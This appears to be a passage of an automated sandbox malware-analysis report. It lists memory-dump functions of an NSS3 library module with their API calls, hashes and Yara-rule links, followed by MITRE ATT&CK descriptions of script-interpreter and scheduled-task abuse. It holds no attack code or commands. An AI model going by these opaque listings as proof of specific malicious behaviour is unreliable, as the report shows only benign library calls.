Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 01148fd44109b6cccd0247531a1d24f6beaa8b834d11f0618a7104500ce4131f
Instruction ID: 51ae2347d7c84256e98c570c4a48668936c5b8f3a89cb309c8bf72c9b31a9a5d
Opcode Fuzzy Hash: 01148fd44109b6cccd0247531a1d24f6beaa8b834d11f0618a7104500ce4131f
Instruction Fuzzy Hash: 74019EB5B01B119BE750DF79D908743B7E8BF00659B104839D85AC3E00EB34F014CB91

Function 6CE91DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE91DFB

Part of subcall function 6CE895B0: TlsGetValue.KERNEL32(00000000,?,6CEA00D2,00000000), ref: 6CE895D2
Part of subcall function 6CE895B0: EnterCriticalSection.KERNEL32(?,?,?,6CEA00D2,00000000), ref: 6CE895E7
Part of subcall function 6CE895B0: PR_Unlock.NSS3(?,?,?,?,6CEA00D2,00000000), ref: 6CE89605

PR_EnterMonitor.NSS3 ref: 6CE91E09

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CE8E190: PR_EnterMonitor.NSS3(?,?,6CE8E175), ref: 6CE8E19C
Part of subcall function 6CE8E190: PR_EnterMonitor.NSS3(6CE8E175), ref: 6CE8E1AA
Part of subcall function 6CE8E190: PR_ExitMonitor.NSS3 ref: 6CE8E208
Part of subcall function 6CE8E190: PL_HashTableRemove.NSS3(?), ref: 6CE8E219
Part of subcall function 6CE8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE8E231
Part of subcall function 6CE8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE8E249
Part of subcall function 6CE8E190: PR_ExitMonitor.NSS3 ref: 6CE8E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91E37
PR_ExitMonitor.NSS3 ref: 6CE91E4A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: d0290818c04890969dc662102bdcc7dc3826bce065556ecf2d27cd787eedf8ff
Instruction ID: dff220aa7248e9313ff6ad0718ce619929a435ed584c12c8f3364c10d7aa3df9
Opcode Fuzzy Hash: d0290818c04890969dc662102bdcc7dc3826bce065556ecf2d27cd787eedf8ff
Instruction Fuzzy Hash: CC01F271B01250A7EB405BA9EC00F5677BCAB46B4CF304034E8199BB91EB71E815DBD2

Function 6CE91D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE91D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE91D9C
free.MOZGLUE(00000000), ref: 6CE91DB8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: a6159d8a2c0d5547811af47a0d213d24c3620c02ed2138e8597714c483ec642f
Instruction ID: e892504250ab745fdcee8e7c846e410a67c4a86c74bd784099ad64a428bb1819
Opcode Fuzzy Hash: a6159d8a2c0d5547811af47a0d213d24c3620c02ed2138e8597714c483ec642f
Instruction Fuzzy Hash: FBF0F9B2A4121057FB105EDA5C42B87367C9BC57DDF300275DD1D8BB50DA70E80582E1

Function 6CF2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC2D

Part of subcall function 6CECADC0: TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE10
Part of subcall function 6CECADC0: EnterCriticalSection.KERNEL32(?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE24
Part of subcall function 6CECADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CEAD079,00000000,00000001), ref: 6CECAE5A
Part of subcall function 6CECADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE6F
Part of subcall function 6CECADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE7F
Part of subcall function 6CECADC0: TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEB1
Part of subcall function 6CECADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEC9

PK11_FreeSymKey.NSS3(?,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CF15D40,00000000,?,?,6CF06AC6,6CF1639C), ref: 6CF2AC59
free.MOZGLUE(8CB6FF01,6CF06AC6,6CF1639C,?,?,?,?,?,?,?,?,?,6CF15D40,00000000,?,6CF1AAD4), ref: 6CF2AC62

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 5964db7f6e02afcae4d079644935059f08fff3f9002da1db1eb3e592ca573d8d
Instruction ID: 3aa4f9303857f13d66c705ad3680f054486d670fed776581f0499d7defc0c744
Opcode Fuzzy Hash: 5964db7f6e02afcae4d079644935059f08fff3f9002da1db1eb3e592ca573d8d
Instruction Fuzzy Hash: 19014BB56406109FDB00DF65E9C0B467BF8AF44B5CF1880A8E9498F706D739E848CBA2

Function 6CEDFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: cd92fab9181123855dee1dddcfb993a6c9e21545b9d278c152eb856a6f05fb33
Instruction ID: 990dda6bd7e33ec198076bc4d2f8453f4ab9e1d7598085f5d91ac9c003960609
Opcode Fuzzy Hash: cd92fab9181123855dee1dddcfb993a6c9e21545b9d278c152eb856a6f05fb33
Instruction Fuzzy Hash: DDF0C8B5A012065BEB009F95DC90A177778FF8529DB258134ED098BB01EB31E816C7E2

Function 6CF9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF9CC61
free.MOZGLUE ref: 6CF9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF9CC80
free.MOZGLUE(?), ref: 6CF9CC87

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 3f72f5d6d6523ce135a847e8277033f1d4fbc34c493ff9e6529f027480c10b6c
Instruction ID: 278c292c07279796ca445ae2cb5542333c0a958be8fa9ef59df5f8597875a92f
Opcode Fuzzy Hash: 3f72f5d6d6523ce135a847e8277033f1d4fbc34c493ff9e6529f027480c10b6c
Instruction Fuzzy Hash: C1E030767006189BCA10EFA8DC4488677ACEE492703150565E691C3700D631F905CBA1

Function 6CE79DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE79E1F

Part of subcall function 6CE313C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CE02352,?,00000000,?,?), ref: 6CE31413
Part of subcall function 6CE313C0: memcpy.VCRUNTIME140(00000000,R#l,00000002,?,?,?,?,6CE02352,?,00000000,?,?), ref: 6CE314C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE79F78
LIKE or GLOB pattern too complex, xrefs: 6CE7A006

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 7bc39963c3e82807b372efcb13f7ea9cc7587837f81869b840c84c31ab4116d7
Instruction ID: 4e599a271fcfbe3c1d842eae627f2d8bf7b4775b2bacc26e2ac403f429da0bf0
Opcode Fuzzy Hash: 7bc39963c3e82807b372efcb13f7ea9cc7587837f81869b840c84c31ab4116d7
Instruction Fuzzy Hash: 1B810871A042514BD724CF39C4813B9B7F2EF4631CF388659D8A48BB85D736D886C7A1

Function 6CED4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CED4DE6

Strings

%d.%d, xrefs: 6CED4DDE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 0ea42032bf275664aa8ae19ce3cb42309ed068c0d0f1a6d80f96ac093bdfcbfb
Instruction ID: fbe6bd065d833f212438c86b3c3a7d48d4d53e5721c4ac481b37d7aeb1de6368
Opcode Fuzzy Hash: 0ea42032bf275664aa8ae19ce3cb42309ed068c0d0f1a6d80f96ac093bdfcbfb
Instruction Fuzzy Hash: 5131FCB2D002186BEB509FA19C01BFF7778DF55308F160429ED15AB781EB35A906CBE1

Function 6CEF4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEF3827,?,00000000), ref: 6CEF4D0A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEF4D22

Part of subcall function 6CEDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE81A3E,00000048,00000054), ref: 6CEDFD56

Strings

'8l, xrefs: 6CEF4D07

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: a9dec06fc8662189cc148967946309975d6f65be57496ce2f467f8182898714a
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 6EF0683260112857DB104D6A9D4074336FC9B4567DF354272DD38CB791E632DC0286B2

Function 6CF1AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CF1AF78

Part of subcall function 6CE7ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7ACE2
Part of subcall function 6CE7ACC0: malloc.MOZGLUE(00000001), ref: 6CE7ACEC
Part of subcall function 6CE7ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7AD02
Part of subcall function 6CE7ACC0: TlsGetValue.KERNEL32 ref: 6CE7AD3C
Part of subcall function 6CE7ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE7AD8C
Part of subcall function 6CE7ACC0: PR_Unlock.NSS3 ref: 6CE7ADC0
Part of subcall function 6CE7ACC0: PR_Unlock.NSS3 ref: 6CE7AE8C
Part of subcall function 6CE7ACC0: free.MOZGLUE(?), ref: 6CE7AEAB

memcpy.VCRUNTIME140(6CFE3084,6CFE02AC,00000090), ref: 6CF1AF94

Strings

SSL, xrefs: 6CF1AF73

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0dfd90a050b26c0fe9113d25418342eea7e7b8862b86f208ccde98a857b8e983
Instruction ID: 31ed2dc99fe468ed8522f80e9a4d7cd5dadc82816bcb987c4a28fd00d78fcb43
Opcode Fuzzy Hash: 0dfd90a050b26c0fe9113d25418342eea7e7b8862b86f208ccde98a857b8e983
Instruction Fuzzy Hash: BE213BF2A29A48FB9AC0DF52A50B3127A71B24E35C7519868C3094BF34D732414C9F92

Function 6CE70F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B

Part of subcall function 6CE71370: GetSystemInfo.KERNEL32(?,?,?,?,6CE70936,?,6CE70F20,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000), ref: 6CE7138F

PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

Part of subcall function 6CE71110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001,00000040), ref: 6CE71130
Part of subcall function 6CE71110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001,00000040), ref: 6CE71142
Part of subcall function 6CE71110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001), ref: 6CE71167

Strings

clock, xrefs: 6CE70F20

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d2a09d444786232219f87db4a26da11971a9302816a9c30dd4913ae7faa2aaaf
Instruction ID: 1d840ddcf6d5185719b93e177768d8b2d38107c9e299f9bf7383341491a14ce2
Opcode Fuzzy Hash: d2a09d444786232219f87db4a26da11971a9302816a9c30dd4913ae7faa2aaaf
Instruction Fuzzy Hash: B1D02232A0030831C1A0A2D79C88B96B7BCC7C3279F30082AE20C02E400B3684DAD275

Function 6CEE0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEE0DF5
TlsGetValue.KERNEL32 ref: 6CEE0E2D
TlsGetValue.KERNEL32 ref: 6CEE0E58
TlsGetValue.KERNEL32 ref: 6CEE0E84

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 21ea1d7ec5755de34820f48e21679ca100e5bf9633b93c5f69d62fd94ad3173e
Instruction ID: 32f10e3cbccf28933cce85224ccb57c368bdd41c3a2eaeea1c74c0d52d412b39
Opcode Fuzzy Hash: 21ea1d7ec5755de34820f48e21679ca100e5bf9633b93c5f69d62fd94ad3173e
Instruction Fuzzy Hash: 8D31AEB0A543858BDF90AF78948426977B4BF0E38CF21467DD88887B31EF359085DA91

Function 6CEE0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE82AF5,?,?,?,?,?,6CE80A1B,00000000), ref: 6CEE0F1A
malloc.MOZGLUE(00000001), ref: 6CEE0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEE0F42
TlsGetValue.KERNEL32 ref: 6CEE0F5B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 11141bb8c28c30bd544f682f68d8248c9b83096c48833c738732f6212662f789
Instruction ID: 9b0ae31493565d5b8631661b7d721edc9adbf0f8183667eb3a14fb3476ee7237
Opcode Fuzzy Hash: 11141bb8c28c30bd544f682f68d8248c9b83096c48833c738732f6212662f789
Instruction Fuzzy Hash: FF01D8B1E102805BEB602B3E9D056567BBCEF4A2DDB250165ED18C2B21EF31D865C6E2

Function 6CE91EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE91ECE
free.MOZGLUE(?), ref: 6CE91EDF
free.MOZGLUE(?), ref: 6CE91EEF
free.MOZGLUE(?), ref: 6CE91EF5

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6b97695c27786e81991e4630759c388cb3cb558d25bb23efe6a0a936b41595b2
Instruction ID: f37d192b227e30f1aa6cf9d5ca181527c7fe1c8473933aaaed334ac957abf205
Opcode Fuzzy Hash: 6b97695c27786e81991e4630759c388cb3cb558d25bb23efe6a0a936b41595b2
Instruction Fuzzy Hash: 54F0E9B57002056BEB00DBA5DC45E27737CEF46198B140434EC0EC3B00DB25F41087A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
